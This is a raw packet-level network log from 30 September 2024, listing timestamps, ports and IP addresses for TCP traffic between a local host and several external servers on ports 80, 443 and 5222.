Sep 30, 2024 12:21:10.022375107 CEST	5222	50392	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.022465944 CEST	50392	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.022722960 CEST	50392	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.023596048 CEST	80	50394	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.023679972 CEST	50394	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.023870945 CEST	50394	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.025072098 CEST	80	50352	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.025135040 CEST	50352	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.027439117 CEST	5222	50392	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.028601885 CEST	80	50394	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.028671026 CEST	50394	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.033395052 CEST	80	50394	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.051903009 CEST	443	50377	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.052037001 CEST	50377	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.052059889 CEST	50377	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.060771942 CEST	80	50391	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.060782909 CEST	5222	50389	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.063393116 CEST	443	50390	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.079912901 CEST	50395	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.079958916 CEST	443	50395	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.080040932 CEST	50395	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.081276894 CEST	50395	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.081289053 CEST	443	50395	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.084522963 CEST	5222	50382	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.084599972 CEST	50382	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.098459005 CEST	5222	50379	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.098902941 CEST	50380	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.100714922 CEST	50379	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.105710030 CEST	5222	50379	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.105726004 CEST	5222	50379	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.128751040 CEST	443	50381	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.128851891 CEST	50381	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.128921032 CEST	50381	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.141627073 CEST	50392	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.141913891 CEST	50394	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.141959906 CEST	50379	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.141978979 CEST	50393	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.144423962 CEST	50396	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.144710064 CEST	80	50380	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.145206928 CEST	50397	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.145265102 CEST	443	50397	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.145337105 CEST	50397	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.145653009 CEST	80	50356	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.145714998 CEST	50356	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.146631956 CEST	50397	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.146655083 CEST	443	50397	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.146704912 CEST	5222	50379	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.147310972 CEST	50398	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.149287939 CEST	5222	50396	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.149358988 CEST	50396	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.149574041 CEST	50396	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.152149916 CEST	80	50398	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.152228117 CEST	50398	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.152407885 CEST	50398	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.154362917 CEST	5222	50396	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.157227039 CEST	80	50398	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.157273054 CEST	50398	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.161988974 CEST	80	50398	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.165617943 CEST	443	50383	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.165679932 CEST	50383	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.165709019 CEST	50383	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.183410883 CEST	443	50393	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.187832117 CEST	50395	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.188863993 CEST	80	50394	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.188882113 CEST	5222	50392	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.196990967 CEST	5222	50385	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.197118044 CEST	50385	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.203680992 CEST	50379	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.207170963 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.208806038 CEST	50400	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.210242987 CEST	5222	50379	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.210308075 CEST	50379	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.212016106 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.212081909 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.212415934 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.213593960 CEST	80	50400	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.213658094 CEST	50400	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.213982105 CEST	50400	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.217178106 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.218791008 CEST	80	50400	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.218849897 CEST	50400	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.223599911 CEST	80	50400	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.235394001 CEST	443	50395	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.243211031 CEST	80	50358	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.243417025 CEST	50358	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.252026081 CEST	50396	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.252206087 CEST	50398	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.252388000 CEST	50397	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.255410910 CEST	50402	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.255414009 CEST	50401	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.255451918 CEST	443	50402	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.255522013 CEST	50402	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.256320000 CEST	443	50386	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.256400108 CEST	50386	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.256422997 CEST	50386	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.256753922 CEST	50402	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.256768942 CEST	443	50402	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.257375002 CEST	80	50361	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.257430077 CEST	50361	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.257889032 CEST	50403	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.260327101 CEST	5222	50401	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.260396957 CEST	50401	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.260615110 CEST	50401	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.263102055 CEST	80	50403	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.263174057 CEST	50403	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.263375044 CEST	50403	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.265933990 CEST	5222	50401	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.269391060 CEST	80	50403	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.269562960 CEST	50403	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.274950027 CEST	80	50403	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.283772945 CEST	5222	50389	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.283839941 CEST	50389	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.299396992 CEST	443	50397	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.300774097 CEST	80	50398	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.300798893 CEST	5222	50396	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.301079035 CEST	50404	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.301120043 CEST	443	50404	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.301198006 CEST	50404	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.302310944 CEST	50404	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.302320957 CEST	443	50404	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.316803932 CEST	443	50388	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.316888094 CEST	50388	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.316911936 CEST	50388	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.363060951 CEST	50401	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.363219023 CEST	50402	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.363759995 CEST	50403	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.365470886 CEST	443	50390	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.365569115 CEST	50390	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.365601063 CEST	50390	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.366039038 CEST	50405	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.367139101 CEST	50406	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.367197990 CEST	443	50406	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.367284060 CEST	50406	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.368599892 CEST	50406	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.368637085 CEST	443	50406	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.369508982 CEST	50407	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.372412920 CEST	5222	50405	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.372524023 CEST	50405	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.372761965 CEST	50405	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.375479937 CEST	80	50407	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.375550032 CEST	50407	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.375714064 CEST	50407	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.378247023 CEST	5222	50405	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.380491018 CEST	80	50407	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.380558014 CEST	50407	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.384006977 CEST	80	50365	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.384078979 CEST	50365	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.385268927 CEST	80	50407	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.407403946 CEST	443	50402	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.409771919 CEST	5222	50392	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.409867048 CEST	50392	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.410963058 CEST	50404	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.416799068 CEST	80	50403	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.416836023 CEST	5222	50401	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.455405951 CEST	443	50404	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.475130081 CEST	50405	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.475279093 CEST	50407	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.475440025 CEST	50406	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.477632999 CEST	50408	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.477823019 CEST	50409	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.477861881 CEST	443	50409	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.477957010 CEST	50409	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.478909016 CEST	50410	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.479408979 CEST	50409	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.479432106 CEST	443	50409	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.481843948 CEST	443	50393	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.481925011 CEST	50393	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.481956005 CEST	50393	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.482423067 CEST	5222	50408	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.482516050 CEST	50408	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.482745886 CEST	50408	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.483628988 CEST	80	50410	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.483690977 CEST	50410	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.483819008 CEST	50410	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.487538099 CEST	5222	50408	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.488507986 CEST	80	50410	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.488584995 CEST	50410	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.493336916 CEST	80	50410	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.505774021 CEST	80	50368	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.505872011 CEST	50368	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.519407034 CEST	443	50406	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.520786047 CEST	80	50407	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.520809889 CEST	5222	50405	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.521790981 CEST	5222	50396	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.521872044 CEST	50396	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.525049925 CEST	50411	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.525091887 CEST	443	50411	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.525175095 CEST	50411	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.526439905 CEST	50411	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.526453018 CEST	443	50411	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.554425001 CEST	443	50395	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.554548979 CEST	50395	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.554558992 CEST	443	50395	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.554593086 CEST	50395	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.554604053 CEST	50395	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.586765051 CEST	50408	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.586908102 CEST	50410	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.587260008 CEST	50409	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.589468956 CEST	50412	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.589668036 CEST	50413	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.589710951 CEST	443	50413	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.589793921 CEST	50413	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.590816975 CEST	50414	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.591053009 CEST	50413	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.591068029 CEST	443	50413	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.594274044 CEST	5222	50412	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.594342947 CEST	50412	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.594641924 CEST	50412	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.595660925 CEST	80	50414	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.595725060 CEST	50414	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.595868111 CEST	50414	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.600239992 CEST	5222	50412	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.601226091 CEST	80	50414	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.601289034 CEST	50414	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.606647968 CEST	80	50414	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.621326923 CEST	443	50397	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.621421099 CEST	50397	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.621505976 CEST	50397	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.631414890 CEST	443	50409	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.632749081 CEST	80	50410	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.632785082 CEST	5222	50408	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.634207964 CEST	50411	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.654499054 CEST	5222	50401	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.654620886 CEST	50401	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.679404020 CEST	443	50411	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.686472893 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.687012911 CEST	50400	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.688931942 CEST	50412	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.689039946 CEST	50413	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.689096928 CEST	50414	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:10.689208984 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.691416025 CEST	50415	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.692531109 CEST	50416	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.692603111 CEST	443	50416	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.692707062 CEST	50416	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.693988085 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.694094896 CEST	50416	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.694125891 CEST	443	50416	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.694701910 CEST	50417	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.696250916 CEST	5222	50415	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.696338892 CEST	50415	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.696563005 CEST	50415	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.699690104 CEST	80	50417	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.699781895 CEST	50417	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.699989080 CEST	50417	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.701289892 CEST	5222	50415	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.704750061 CEST	80	50417	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.704821110 CEST	50417	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.709635973 CEST	80	50417	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.716681957 CEST	443	50402	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.716816902 CEST	50402	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.716821909 CEST	443	50402	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.716816902 CEST	50402	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.716895103 CEST	50402	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.731415033 CEST	443	50413	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.732731104 CEST	80	50400	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.736756086 CEST	80	50414	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.736768007 CEST	5222	50412	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:10.752085924 CEST	5222	50405	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.752222061 CEST	50405	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.763617992 CEST	50418	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.763660908 CEST	443	50418	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.763742924 CEST	50418	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.765013933 CEST	443	50404	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.765090942 CEST	50404	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.765110016 CEST	50404	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.765511036 CEST	50418	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.765526056 CEST	443	50418	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.800163984 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.800760031 CEST	50415	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.800960064 CEST	50417	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:10.801331043 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.801534891 CEST	50416	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.805697918 CEST	50419	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.806622028 CEST	50420	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.806677103 CEST	443	50420	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.806756973 CEST	50420	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.806962967 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.807020903 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.809508085 CEST	50420	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.809540033 CEST	443	50420	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.810941935 CEST	50421	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.811331987 CEST	5222	50419	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.811400890 CEST	50419	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.811716080 CEST	50419	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.812664986 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.816613913 CEST	80	50421	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.816674948 CEST	50421	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.816884041 CEST	50421	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.817264080 CEST	5222	50419	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.822599888 CEST	80	50421	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.822674036 CEST	50421	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.826329947 CEST	443	50406	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.826421022 CEST	50406	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.826473951 CEST	50406	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.828000069 CEST	80	50421	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:10.834737062 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.834882021 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.834893942 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.834923983 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.835030079 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.835042000 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.835055113 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.835067034 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.835068941 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.835079908 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.835093975 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.835129976 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.835509062 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.835522890 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.835582018 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.836744070 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.843413115 CEST	443	50416	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.849675894 CEST	80	50417	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.849683046 CEST	5222	50415	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:10.855988026 CEST	50418	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:10.860276937 CEST	5222	50408	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:10.860341072 CEST	50408	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:10.888781071 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.899394035 CEST	443	50418	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:10.903434038 CEST	50419	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.903656960 CEST	50421	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:10.904045105 CEST	50420	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.904232979 CEST	50399	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.907195091 CEST	50422	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:10.907704115 CEST	50423	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.907747030 CEST	443	50423	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:10.907834053 CEST	50423	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:10.909085035 CEST	5222	50399	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:10.909362078 CEST	50423	443	192.168.2.5	172.65.251.78
